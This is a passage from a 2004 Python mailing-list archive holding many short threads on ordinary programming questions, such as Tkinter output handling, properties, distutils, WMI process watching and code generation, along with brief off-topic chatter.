self._ascent = pfm.get_ascent() / pango.SCALE + self._descent = pfm.get_descent() / pango.SCALE + return pfm def width(self, s, start = 0, end = sys.maxint): gdk_width = self._get_gdk_font().width From dperl at rogers.com Wed Sep 1 01:28:56 2004 From: dperl at rogers.com (Dan Perl) Date: Wed, 01 Sep 2004 05:28:56 GMT Subject: File System References: <10j7r3cflo61680@corp.supernews.com> <41345966.3020103@mxm.dk> Message-ID: I only know that Zope is an application server. Which part of it is the model for the object oriented filesystem? I'm really interested. Can you point me to a link? Thanks, Dan "Max M" wrote in message news:41345966.3020103 at mxm.dk... > Aaron Bingham wrote: > > Hello Maboroshi, > > > > You are not the first to think that there might be an alternative to the > > filesystem. Here are a few links to sites for projects where > > filesystems have been rethought or eliminated in very different ways. > > Most of this is unfortunately vaporware. This is by no means a complete > > No, you forgot www.zope.org > > Especially Zope 3 > > This could easily be seen as a model for an object oriented filesystem. > > > regards Max M From FBatista at uniFON.com.ar Wed Sep 29 10:59:31 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Wed, 29 Sep 2004 11:59:31 -0300 Subject: how to get files in a directory Message-ID: [Anand K Rayudu] #- for root,dir,files in os.walk("E:\myDir1\MyDir2"): #- for i in dir: #- for j in files: #- fille = root+i+j #- print file #- Maybe you should be using paths like "E:\\myDir1\\MyDir2". . Facundo From nytimes at swiftdsl.com.au Fri Sep 17 20:51:25 2004 From: nytimes at swiftdsl.com.au (huy) Date: Sat, 18 Sep 2004 10:51:25 +1000 Subject: Python Webstart ? In-Reply-To: References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> Message-ID: <414b8697$0$2405$61ce578d@news.syd.swiftdsl.com.au> Istvan Albert wrote: > John Fabiani wrote: > >> Actually it's very useful. In the Java world you can set a central >> location >> that a webstart program checks for possible updates. It's very cool. > > > Only that it doesn't really work in practice. Read more here: > > http://www.dynamicobjects.com/d2r/archives/2004_07_09.html > > > Istvan Thanks for the link Istvan. The article is very informative, but I'm afraid I've used JWS extensively without such troubles. It's all about training and managing user expectation. We had a very smooth rollout and seamless upgrades now are paying many times over for the initial investment in particular management of the initial installation. Read the comments, there are some great tips on making it work. As I said in my other posts. It isn't the initial automated installation which is most important to me, but the longer term automatic upgrading (which happens much more frequent over the years). Huy From bradtilley at usa.net Wed Sep 15 17:19:45 2004 From: bradtilley at usa.net (Brad Tilley) Date: Wed, 15 Sep 2004 17:19:45 -0400 Subject: See exactly what a function has returned In-Reply-To: <10kh7o27c6bu898@corp.supernews.com> References: <10kh7o27c6bu898@corp.supernews.com> Message-ID: <4148B1F1.3010801@usa.net> Jeff Shannon wrote: > Brad Tilley wrote: > >> >> def print_whats_returned(function): >> ## A function that shows what another function has returned >> ## as well as the 'type' of the returned data. >> print function >> print type(function) >> >> def send_net_params_to_admin(ip_param, port_param): >> ip = get_server_ip() >> port = get_server_port() >> return ip, port >> >> print_whats_returned(send_net_params_to_admin(get_server_ip(), >> get_server_port())) > > > > Note here that the argument to print_whats_returned() is *not* a > function; it is the value returned from a function. You're not passing > the function send_net_params_to_admin(); you're passing whatever is > returned from it. It is effectively equivalent to the following: > > return_value = send_net_params_to_admin(get_server_ip(), > get_server_port()) > print_whats_returned(return_value) > > Thus, your function would be much more clear with different names, since > it really has nothing to do with functions. > > def print_value_and_type(value): > print value > print type(value) > > With these names, you wouldn't have had all of these people talking > about dynamic typing and such, because it would've been clear that > you're not attempting to find the intended return value of a theoretical > future function call, but rather trying to inspect the actual value > that's already been returned by a previously-executed function call. > And no, there isn't really an easier way to do this. :) > > Jeff Shannon > Technician/Programmer > Credit International Thanks Jeff, You said what I was trying to say better than I could say it. I'm not crazy after all... just picked the wrong words. This made sense to me at first, then everyone said, "You can't do that," and I was almost at the point of believing them when you posted. ;) Brad From ajsiegel at optonline.com Sat Sep 4 07:49:05 2004 From: ajsiegel at optonline.com (Arthur) Date: Sat, 04 Sep 2004 11:49:05 GMT Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <87acw86she.fsf@uwo.ca> <1094189336.822541@yasure> <1094268184.524370@yasure> Message-ID: "Donn Cave" wrote in message news:1094268184.524370 at yasure... > Quoth "Arthur" : > | ... In a dynamic app, append and > | ordered access solves a set of problems that may or may not be reasonablely > | conceptualized as related to homogeneity. So any attempt to describe > | anything about lists vs. tuples in terms of its data content always in the > | end seems unnecessarily reductionist, IMO - if that's the right word. > > Say, have we been here before? Have we? ;) >Remember, it really isn't about the > data content considered separately, rather the synthesis of structure > and data. Yes. I slipped. Continuing to discuss the issue in terms of homogenuity ane hetereogenuity (in any sense) seems unnecessarily reductionist, IMO - if that's the right word. That Guido conceptualizes in some hard to define way related to these concepts may in fact explain why things are as they are.. And I guess some of the questions that lead into to these discussions are more of the "why are things as they are", rahter than anything related to the practical use of lists and tuples. And in the contgext of the question of "why things are as they are" it is hard to avoid discussion of homogenuity and hetereogenuity - which is really mostly an attempt to psyche out Guido's reasoning. I guess I don't do PEPs, becuase I am a humble user - more interested in picking things up once they are, and as they are - and accomplishing what I need to accomplish I certainly *don't* think the concepts of homogenuity and hetereogenuity help a twit. A clue about perfromance issues arounds tuples vs. lists is *much* more interesting to me - for example. Even a 20%-er. Art From Scott.Daniels at Acm.Org Wed Sep 22 19:17:16 2004 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Wed, 22 Sep 2004 16:17:16 -0700 Subject: distutils and mingw32 In-Reply-To: References: <4151f3f8$1@nntp0.pdx.net> Message-ID: <41520c67@nntp0.pdx.net> Chris Liechti wrote: > Scott David Daniels wrote in > news:4151f3f8$1 at nntp0.pdx.net: > > >>I'm trying to get distutils in 2.4 happy running mingw32. I've chased >>a few things down, but now I'm getting: >>C:\Documents and Settings\daniels\Desktop\Py\block>\python24\python >>setup.py build_ext -cmingw32 > > ... > >>undefined reference to `_imp__PyExc_TypeError' > > > my guess is that the import library (libpython24.a) is missing or not > correct. did you create one with pexports? > > you know this one? > http://www.python.org/doc/current/inst/tweak-flags.html (bottom of the > page) > > chris > > Thanks. I'll try that out tonight. -Scott David Daniels Scott.Daniels at Acm.Org From PMD96 at comcast.net Sat Sep 18 11:32:36 2004 From: PMD96 at comcast.net (PMD96) Date: Sat, 18 Sep 2004 11:32:36 -0400 Subject: New Programmer and Python Message-ID: <_NidnfFXMMGVyNHcRVn-hg@comcast.com> I'm new to programming and have been recommended to start with Python. I've reviewed the tutorial and am looking for additional learning tools to learn programming and Python. Any recommendations? From klappnase at web.de Thu Sep 9 15:39:47 2004 From: klappnase at web.de (klappnase) Date: 9 Sep 2004 12:39:47 -0700 Subject: TKinter + display of a shell command return References: Message-ID: "Yann.K" wrote in message news:... > > Yes, really it run great but no as i would! > For long process, the display wait the end of the script execution to > display all the lines of the mesage. > > I would that the lines appears as soon as the shell putt the message. > So; if the treatment is very long (ie 10 min), the line of the message > appears every second (in fact h*just when they are forwarder from the > shell. > > I would display the shell return like an "tail -f syslog" command on > linux... > I hope to be clearer... > > Thanks for your help, You can use a tk filehandler to capture the output stream of a shell command. Here's a code snippet I used to display the output of a shell command in a text widget: from Tkinter import * import fcntl, popen2, os (...) self.text.insert('end', '\nExecuting :\n' + cmd + '\n\n') self.pp = popen2.Popen4(cmd) # cmd is of course the shell command self.mkfilehandler(self.pp, self.get_msg) def mkfilehandler(self, popen4object, function): fileobject = popen4object.fromchild filedescr = fileobject.fileno() fcntl.fcntl(filedescr, fcntl.F_SETFL, os.O_NONBLOCK) tkinter.createfilehandler(fileobject, READABLE, function) def get_msg(self, fileobject, mask): msg = self.pp.fromchild.read() if msg == '': p = self.pp.poll() if p != -1: tkinter.deletefilehandler(self.pp.fromchild) self.pp = None if p == 0: tkMessageBox.showinfo(...) else: tkMessageBox.showerror(...) else: self.text.insert('end', msg) This works well at least on linux, on windows the createfilehandler() method may not be available: http://mail.python.org/pipermail/python-list/2002-February/089526.html More information on createfilehandler() can be found at: http://www.python.org/doc/faq/gui.html#id14 I hope this helps Michael From abra9823 at mail.usyd.edu.au Fri Sep 17 10:51:46 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Sat, 18 Sep 2004 00:51:46 +1000 Subject: gui - wait for dialog to close In-Reply-To: References: Message-ID: <1095432706.414afa02e60b7@www-mail.usyd.edu.au> i am using Tkinter could you expand on that modal stuff cheers Quoting John Fabiani : > Ajay wrote: > > > hi! > > > > i have an application which requires a username > > what i am trying to do is when the application runs, a dialog window > > appears which prompts the user for his name. once thats entered, the > > dialog box is destroyed, the username stored and the application gui > is > > drawn > > > > i tried doing this by adding a wait_window call in my application > GUI's > > init. > > the idea was to suspend execution till the username is entered and the > > dialog box destroyed before continuing. > > > > that didn't work > > how can i do this? i have the option of creating the dialog box and > when > > the username is entered then in the function that handles the > username, > > create the rest of the GUI. i was wondering if there is any other way > > > > thanks > > > > cheers > > > > > > > > > > ---------------------------------------------------------------- > > This message was sent using IMP, the Internet Messaging Program. > You did not state which GUI lib you are using. But in general you use a > modal dialog for that type of input. Before you delete the dialog read > the > fields in the dialog. > > John > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From elbertlev at hotmail.com Fri Sep 10 08:27:30 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 10 Sep 2004 05:27:30 -0700 Subject: Shorter checksum than MD5 References: Message-ID: <9418be08.0409100427.2e6a8481@posting.google.com> > For your application, you should consider the total number of records > you ever expect to have, and use more than 2 * lg(records) bits of hash. > Due to the so-called "birthday paradox", when you have N possible hash > values, two will be identical with 50% probability with around sqrt(N) > items. You'd probably prefer that the probability be much lower in your > application, since a collision will result in incorrect results. > Wrong! "birthday paradox" is not applicable here. If you want an analogy with this combinatorial problem, imagine 2 rows with N objects in each, There exists a "measure" of each object. Some objects can be modified with probability 1/2**32 the measure will not change after modification. Objects in the SAME POSITION in each row are compared by comparing their measures. After M objects are modified what is the probability that at least one modification will be "missed" by the comparison process. I don't think, that in the foreseen future (if M and N are not too high) such collision will occur. From bokr at oz.net Mon Sep 13 13:56:04 2004 From: bokr at oz.net (Bengt Richter) Date: 13 Sep 2004 17:56:04 GMT Subject: Property with parameter... References: <1gk1sn7.mbsc0o17dm56rN%aleaxit@yahoo.com> Message-ID: On Mon, 13 Sep 2004 11:09:07 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >kepes.krisztian wrote: > >> Hi ! >> >> I want to create a property that can use parameter(s). >> In Delphi I can create same thing (exm: Canvas.Pixel[x,y] -> >> Canvas.GetPixel(self,X,Y):integer; Canvas.SetPixel(self,X,Y,Color::integer); >> >> class A(object): >> def __init__(self): >> self.__Tags={} >> def GetTag(self,tname): >> return self.__Tags.get(tname,None) >> def SetTag(self,tname,value): >> self.__Tags[tname]=Value >> Tag=property(GetTag,SetTag) >> >> a=A() >> print a.Tag('A') >> print a.Tag['A'] >> >> But it is seems to be not possible in this way. > >Have your get method return an instance of an auxiliary class which Why a get method when a.Tag can return the aux class instance as a plain attribute? (other than that the OP mentioned 'property' and might want to protect against a.Tag = 23 ;-) E.g. See below. >implements __getitem__ and __setitem__ (if you want to use square >brackets; if you want to use round parentheses, then __call__, but >beware -- you can't have a bare call on the left of an assignment!!!). > >For example, a small refactoring of your attempt might be: > >class A(object): > > def __init__(self): > self.__Tags={} > self.__TagsAccessor = None > > def getTagsAccessor(self): > if not self.__tagsAccessor: > def getter(__, tname): > return self.__Tags.get(tname, None) > def setter(__, tname, value): > self.__Tags[tname] = value > class TagAccessor: pass > TagAccessor.__getitem__ = getter > TagAccessor.__setitem__ = setter > self.__TagsAccessor = TagAccessor() > return self.__TagsAccessor > Tag = property(getTagsAccessor) > >Now, you can use such code as: > >a = A() >print a.Tag['foo'] >a.Tag['foo'] = 'barbaz' >print a.Tag['foo'] > >Note that we define no setter at all for Tag. This means that, e.g.: > >a.Tag = 23 > >will raise "AttributeError: can't set attribute". The way we coded, >a.Tag MUST be indexed when used on the left of an = sign in an >assignment. If that's not what you want -- if you do want to allow >assigning to bare a.Tag without an index -- then, and only then, write >a setTagsAccessor and give it whatever semantics you wish, and pass it >as the second argument in the call to property. > >Of course, you can refactor this basic idea in many different ways. I >have used closures for getter and setter so as to finesse any trouble >with your use of leading double underscore, though that means that the >first argument of getter and setter CAN'T be named self (I used __ to >indicate I mean to ignore that argument...), but there are many other >possibilities, such as a more general TagAccessor class which takes >self.__Tags in its __init__, etc, etc. You could even choose to use a >custom descriptor class instead of the built-in property, but I don't >think that's warranted if all you need is what you have expressed. > If the OP doesn't need to protect against a.Tag = 23 etc., seems like a separate class for Tag might be simplest for him? I.e., >>> class TagClass(object): ... def __init__(self): self.__Tags = {} ... def __getitem__(self, k): return self.__Tags.get(k, None) # per OP ... def __setitem__(self, k, v): self.__Tags[k] = v ... >>> class A(object): ... def __init__(self): self.Tag = TagClass() ... Then >>> a=A() >>> a.Tag[2,3] = 'two, three' >>> a.Tag[2,3] 'two, three' >>> a.Tag <__main__.TagClass object at 0x00901210> >>> vars(a) {'Tag': <__main__.TagClass object at 0x00901210>} >>> vars(a.Tag) {'_TagClass__Tags': {(2, 3): 'two, three'}} For me, capitalized attributes kind of grate on the convention nerve though ;-) Regards, Bengt Richter From tim.golden at viacom-outdoor.co.uk Wed Sep 15 04:13:37 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Wed, 15 Sep 2004 09:13:37 +0100 Subject: Communication between remote scripts Message-ID: | -----Original Message----- | From: python-list-bounces+tim.golden=viacom-outdoor.co.uk at python.org | [mailto:python-list-bounces+tim.golden=viacom-outdoor.co.uk at py | thon.org]O | n Behalf Of claird at lairds.us | Sent: 14 September 2004 22:08 | To: python-list at python.org | Subject: Re: Communication between remote scripts | | | In article , | Tim Golden wrote: | >| In article , | >| secun at yahoo.com says... | >| > I have a python script (A) that monitors a process (3rd | >| party) on the | >| > local machine (Windows). | >| > | >| > I would like to create a second program on a remote Windows | >| computer | >| > that receives an update from program A periodically | (maybe every 10 | >| > minutes or so), and tells it everything is running without | >| a problem. | >| > | >| > Can anyone recommend a good (and preferably simple) way for | >| two programs | >| > to communicate on a network? | > | >| Am I correct in saying that remote objects are not really | needed for | >| this? | > | > [... snip my suggestions ...] | . | Nice description. | | If the problem involved just a bit more information and variability | than a heartbeat, I'd start to recommend async and/or Twisted. In fact, given a certain interpretation of the description (remote monitoring of a running process) it might well be possible to do the whole thing in WMI. I have certainly had scripts running on my machine to monitor the progress of processes on several of the servers here. Depends what's needed exactly. If, for example, you only needed to know if the process had crashed, the following -- extremely crude -- code could be adapted: import wmi c = wmi.WMI () watcher = c.watch_for ( notification_type="Deletion", wmi_class="Win32_Process", Name="Notepad.exe" ) np = watcher () print np If you needed something more subtle, for example, checking whether the process is running away, or running at all, you can use the same technique, but specifiying Modification rather than Deletion as the notification type etc. TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From clifford.wells at comcast.net Sun Sep 19 03:18:21 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 19 Sep 2004 00:18:21 -0700 Subject: Determining if a client PC has an Internet connection Message-ID: <1095578301.31957.263.camel@devilbox.devilnet.internal> Hi, I'm writing an application that needs to know if an Internet connection is available. Basically, I want to have something similar to what a lot of email clients have, where the app can work either in "online" or "offline" mode (it keeps a cache of downloaded info, so it can work without a connection if needed). The basic problem is this: it downloads info (RSS feeds) from a variety of sources. Any one (or more) of these could conceivably fail to download, so simply waiting for a timeout isn't sufficient (not easy to differentiate between having a bad server and the client not having a connection). Further, if it waits (say 30s) for the timeout to occur, this is going to be a bit annoying to the user. I've considered trying to connect to a stable host (i.e. Google) and if that fails then assume the client can't connect to the internet, but this seems like a sub-optimal solution. Is there any way to reliably determine the state of the client's internet connectivity? Regards, Cliff -- Cliff Wells From tungwaiyip at yahoo.com Tue Sep 7 12:33:31 2004 From: tungwaiyip at yahoo.com (Wai Yip Tung) Date: Tue, 07 Sep 2004 09:33:31 -0700 Subject: has anyone done a blog or forum engine in python? References: Message-ID: On 6 Sep 2004 05:45:52 -0700, googleboy wrote: > Hiya. > > I am looking at implementing a blog and a forum for a personal > website. I am also beginning to look at growing my programming skills > from newbie/mediocre to intermedaitely servicable and want to continue > doing this focussing on python. > > It would be cool to find projects in python with code I can refer to. > > Regards, > > googleboy My blog [http://tungwaiyip.info/] is built using pyblosxom [http://roughingit.subtlehints.net/pyblosxom/]. It is a very small and customizable Python library. From godoy at ieee.org Fri Sep 17 12:53:19 2004 From: godoy at ieee.org (Jorge Godoy) Date: Fri, 17 Sep 2004 13:53:19 -0300 Subject: Python Webstart ? References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <414b0d22$0$2414$61ce578d@news.syd.swiftdsl.com.au> Message-ID: huy writes: > Well not really. I don't mind doing one installation of a > (Python/Java) webstart. However, it's the automatic update of the > actual application software which I find most useful. The alternative > using p2exe or pyfreeze will require me to distribute the (potentially > large) binaries manually. For hundreds of terminals, this is not gonna > be good, especially in an iterative environment. A network drive is not an option? I use that with several software. I just update one copy and everybody has an updated copy of the software the next time they run it. What I miss is the option to update the already running clients when they instantiate the class again, but then, this would probably include performance penalties when there are no changes. > That's an option but I don't quite trust using jython for a full blown > application. I use it mainly for unittesting at the moment. Have you found any problems with it? I think that some missing CPython modules prevented me to give it more attention, but now I don't even remember which ones... :-( -- Godoy. From michaels at rd.bbc.co.uk Tue Sep 14 08:15:25 2004 From: michaels at rd.bbc.co.uk (Michael Sparks) Date: Tue, 14 Sep 2004 13:15:25 +0100 Subject: check for unused ports and then grab one References: <9-adnWpzmJ90itvcRVn-vA@powergate.ca> Message-ID: Peter Hansen wrote: ... > I'm curious what you are trying to do though. Normally a server > has to listen on a predefined port or the clients won't be able > to connect, and a client doesn't need to specify which port it > will bind to as the OS will pick a free one automatically. I've > never had to do what you are trying to do, thus my curiosity... One place where it is useful in an non-passive FTP client. IE It needs to allow the server to connect back to an port on the client for transfer of data. The client tells the server the IP/port number, and since the client doesn't normally have one of these open it's often useful just to let the local TCP stack allocate the port number, find out what it is and tell the server. Regards, Michael. -- Michael.Sparks at rd.bbc.co.uk British Broadcasting Corporation, Research and Development Kingswood Warren, Surrey KT20 6NP This message (and any attachments) may contain personal views which are not the views of the BBC unless specifically stated. From janimal at mail.trillegaarden.dk Tue Sep 28 10:36:24 2004 From: janimal at mail.trillegaarden.dk (Ling Lee) Date: Tue, 28 Sep 2004 16:36:24 +0200 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> <2rt8rsF1ej1qmU1@uni-berlin.de> Message-ID: <415976d1$0$23090$ba624c82@nntp05.dk.telia.net> Thanks Russell Blau, its smart to tjeck for it is really is an integer that the user types in :) I have read the tutorial, but still its a bit hard for me to see how I make the loop and how I count the lengt of the number. When I use the len(input) I get the reply: Error len() of unsized object. Think that is why len() only works on dictionaries and lists, not strings. indput = raw_input(" Tell me the number you want to transform to textuel representaion") try: indput = str(int(indput)) except ValueError: print "No, you need to give me an integer." This works fine. But how do i then count the length of the number and make the loop: My goal was to: " I'm trying to write a small program that lets you put in a number as an integer and then it tells you the textuel representation of the number. Like if your input is 42, it will say four two. I found out that I have to make a dictionary like this: List = { 1:"one", 2:"two" and so on ) After I have gotten the lenght of the string, I will write a loop, that goes through the dictionary as many times as the lengt of the string, and the gives me the corresponding numbers, the numner 21 would go 2 times through the loop and give me the output two one. Sorry to ask this easy questions, but think that things really would make sense for me after this little program is done. I have a lot easier to grasp the magic of pragramming through looking at programs than to read tutorials about it.... Thanks "Russell Blau" wrote in message news:2rt8rsF1ej1qmU1 at uni-berlin.de... > "Ling Lee" wrote in message > news:415966e1$0$23075$ba624c82 at nntp05.dk.telia.net... >> >> and I have to use the raw_input method to get the number: >> >> indput : raw_input(" Tell me the number you want to transform to textuel >> representaion") >> >> The I have to transform the input to a string >> indput = str(indput) > > Actually, the value returned by raw_input() *is* a string, but you might > want to check to see whether the user has actually typed in an integer as > opposed to typing, say, "Go away you stupid computer." > > try: > indput = str(int(indput)) > except ValueError: > print "No, you need to give me an integer." > >> Will one of you be so kind and tell me how I count the lengt of the >> indput >> number i was thinking on something like input.count[:] but that dosnt >> work... > > You could consider using the built-in function len(). > > > -- > I don't actually read my hotmail account, but you can replace hotmail with > excite if you really want to reach me. > > From thomas.krueger at gmx.net Wed Sep 1 11:17:15 2004 From: thomas.krueger at gmx.net (Thomas =?ISO-8859-1?Q?Kr=FCger?=) Date: Wed, 01 Sep 2004 17:17:15 +0200 Subject: Python cannot use SMTP... References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net> <1i04cqxwzoane.1915vlaurzzbl$.dlg@40tude.net> Message-ID: JZ wrote: > tcp 0 0 216.93.188.184:25 0.0.0.0:* LISTEN > 7910/xinetd Port 25 is handled by the xinetd. There may be a wrapper around it. What program will be started on connetion to port 25? See the /etc/xinet.d/ folder to find it out. You may also try to send mail to 216.93.188.184 instead of localhost Thomas From baklarz at z.pl Wed Sep 1 18:09:51 2004 From: baklarz at z.pl (baklarz) Date: Wed, 1 Sep 2004 22:09:51 +0000 (UTC) Subject: How to learn to use python with Excel References: <9048dfd6.0409011402.51f0bc66@posting.google.com> Message-ID: On 2004-09-01, Xiao-Qin Xia wrote: > I don't like VBA, and want to use python to work with Excel. Does > anybody recommend some good documents to begin with? > > Many thanks, > > Xiao-Qin http://www.reportlab.com/ftp/talks/PythonWindowsTutorial.doc -- Tomasz Drobiszewski idkfa at gazeta.usun.spam.pl From tim.peters at gmail.com Fri Sep 3 00:09:18 2004 From: tim.peters at gmail.com (Tim Peters) Date: Fri, 3 Sep 2004 00:09:18 -0400 Subject: Recursive Generator Question In-Reply-To: <87u0ug3tam.fsf@uwo.ca> References: <6543373d.0409021839.5caff11d@posting.google.com> <87u0ug3tam.fsf@uwo.ca> Message-ID: <1f7befae04090221094c154cc5@mail.gmail.com> [Dan Christensen] ... > def __iter__(self): > if self.data != None: > yield self.data > for child in self.children: > if child != None: > for terminal in child: > yield terminal ... > To the experts: I don't recall seeing __iter__ be a generator like > this before. How would you code it? The way you did. A generator *is* a (one kind of) iterator, so it's fine to use a generator anywhere an iterator is desired. (Technically, the __iter__ method there is called a generator-function, and the thing it returns is called a generator-iterator.) From jmfbahciv at aol.com Thu Sep 2 08:01:19 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Thu, 02 Sep 04 12:01:19 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: <41371e5c$0$19723$61fed72c@news.rcn.com> In article <2mmdj0t6mjgif88en11skbo3n8uiuj46nc at 4ax.com>, Brian Inglis wrote: >On Tue, 31 Aug 2004 14:26:03 GMT in alt.folklore.computers, "John W. >Kennedy" wrote: > >>Andre Majorel wrote: >>> On 2004-08-31, Brian Inglis wrote: >>> >>>>On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers, >>>>Andre Majorel wrote: >>>> >>>> >>>>>On 2004-08-30, Antony Sequeira wrote: >>>> >>>>>>Windows (MS) is not 'Unixism'? >>>>> >>>>>If by unixism, you mean any operating system that has a >>>>>hierarchical filesystem and byte stream files, yes. But that >>>>>would include quite a few other non-Unix operating systems, >>>>>including Mac OS 9, Prologue and probably everything else this >>>>>side of CP/M (DOS 1.x shall be deemed to be CP/M). >>>> >>>>DOS 2.x+ shall be deemed to be CP/M+! >>> >>> >>> Wasn't it in version 2 that they added directories and >>> Unix-style file handles ? >> >>Yes, and also a single-process pipe emulator. Ever since 2.0, MS has >>been trying to turn MS-DOS (later, Windows) into a Unix clone. > >MS has been borrowing code from Unix to create a real OS: TCP/IP; >NTFS<-ffs; memory mapped files<-mmap. All right. Now I'm mystified. Why did they have to borrow code from Unix? They already had VMS. ISTM, VMS had all of the above. >Shame they keep trying to add their own ideas in too: that must be >what causes the crashes! Nope. If you want to know what will get added to the next release of MS' OSes, just read their small company acquisitions in the WSJ. /BAH Subtract a hundred and four for e-mail. From wayne at mishre.com Fri Sep 17 15:31:39 2004 From: wayne at mishre.com (Wayne Pierce) Date: 17 Sep 2004 12:31:39 -0700 Subject: New python project: Security Advisor Message-ID: Just a quick note that after many re-writes and delays I have finally released some code for my Security Advisor project. The goal of Security Advisor is to create a white-box security auditing framework written in Python. This is the first public release and includes the scanning portion (scan.py) and a few sample scans (scans.zip). For now the scans.zip file only contains Windows specific scans, I accidentially erased all of the Linux scans earlier and need to reload then from backup. The web site is http://sad.sf.net and a group has been created at http://groups-beta.google.com/group/securityadvisor/ for support and discussion. There are still gaps on the website, however the code is documented and the tutorial link explains how to creat a scan. This version is limited to scanning the local host and does not analyze any of the returned information. Wayne From ltavoletti at libero.it Thu Sep 9 11:13:44 2004 From: ltavoletti at libero.it (lux) Date: 9 Sep 2004 08:13:44 -0700 Subject: proxy autodetection Message-ID: <3595d2fa.0409090713.3f88597d@posting.google.com> Hi, Can anyone tell me how to get information about proxy configuration (url, port) under windows? Thanks in advance, Lux. From clifford.wells at comcast.net Sun Sep 12 16:03:35 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 12 Sep 2004 13:03:35 -0700 Subject: open and shut case In-Reply-To: References: <878ybfk3rf.fsf@pobox.com> Message-ID: <1095019415.26967.16.camel@devilbox.devilnet.internal> On Sun, 2004-09-12 at 17:54 +0000, Andrew Dalke wrote: > John J. Lee wrote: > > PS. these days, your subject line sounds distinctly spammish > > (especially since it's a woman posting the message to a > > comp. newsgroup -- how likely can that be? ;-) > > What the .... ??! Was that supposed to be funny? The smiley > suggests you thought it was. It isn't. It's crude and rude. I took the wink to mean that the statement was to be taken as facetious. I didn't see it as particularly rude or otherwise. Regards, Cliff -- Cliff Wells From anhtt at hotmail.com Wed Sep 8 02:51:38 2004 From: anhtt at hotmail.com (Tran Tuan Anh) Date: 7 Sep 2004 23:51:38 -0700 Subject: Using Python to generate code? Message-ID: Dear all: I need your advice on this matter. I am working on a program which takes some pieces of System-C code in and generate some other System-C code. (System-C code is just C++ with some special libraries, hence you can consider it as C++). Right now, the generator program is written in C++. And I feel not so comfortable with C++. I feel C++ is an overkill. Because, I need to generate some code, hence in the program there are a lot of something like this: printf(out, "for (%s = 1, %s < %s, %s < %s )", varName, varName, varName1, varname, varName2); It is just too messy if I have more than 20 lines like this. So my question is: 1. Can Python help to solve this issue? 2. Does Python has a parser? It seems to me that there is no-standard Parser for Python right now. If it is the case, can I interface Python with existing cup and lex? Many thanks! Tuan Anh P/S: Also because it is NO big code generator, it only needs to generate some simple codes. Hence, using some abstract-syntax-tree library is also too an overkill. From greg.steffensen at gmail.com Fri Sep 10 10:48:39 2004 From: greg.steffensen at gmail.com (Greg Steffensen) Date: 10 Sep 2004 07:48:39 -0700 Subject: Electronic voting feasibility In-Reply-To: <7xmzzyd45f.fsf@ruckus.brouhaha.com> Message-ID: My goal is to write an easy-to-use, python based system to allow small organizations to conduct online elections using sound cryptography. There won't be anything substantial at stake in campus elections, of course; I'm using them just as a means to prototype. I'd really just like to release a working product that others can attack, so that the general quality of open-source voting code rises, increasing the chances that governments will, someday, have an open-source alternative to Diebold, which I think would be a fundamentally good thing. Glad to hear that python is less susceptible to buffer-overflows; if part of the system ended up touching the disk, would python's speed make it susceptible to race conditions? Greg Steffensen From adalke at mindspring.com Wed Sep 22 15:53:33 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Wed, 22 Sep 2004 19:53:33 GMT Subject: How to count lines in a text file ? In-Reply-To: <1gkiss6.1ycjzr21dhrf4pN%aleaxit@yahoo.com> References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> <1gkiss6.1ycjzr21dhrf4pN%aleaxit@yahoo.com> Message-ID: <1Lk4d.404$zG1.191@newsread3.news.pas.earthlink.net> Alex Martelli wrote: > If one is really in a hurry counting lines, a dedicated C extension > might help. E.g.: > > static PyObject *count(PyObject *self, PyObject *args) ... > Using this count-items-in-iterable thingy There's been a few times I've wanted a function like this. I keep expecting that len(iterable) will work, but of course it doesn't. Would itertools.len(iterable) be useful? More likely the name collision with len itself would be a problem, so perhaps itertools.length(iterable). BTW, I saw itertools.count and figured that might be it. Nope. And don't try the following >>> import itertools >>> itertools.count(5) count(5) >>> print list(_) :) Andrew dalke at dalkescientific.com From tim.golden at viacom-outdoor.co.uk Fri Sep 24 04:44:34 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Fri, 24 Sep 2004 09:44:34 +0100 Subject: Access to MS SQL from Linux? Message-ID: [Benji York] | There is a very cool project called ODBTP (Open DataBase Transport | Protocol) at http://odbtp.sourceforge.net. Very interesting indeed. | I've developed Python bindings for it (following the DB API 2.0). | If there is more general interest, I'll distribute it more widely. I'm certainly interested; any chance of your putting them up on a website somewhere? Thanks TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From t.hume at bom.gov.au Thu Sep 9 22:38:10 2004 From: t.hume at bom.gov.au (Timothy Hume) Date: Fri, 10 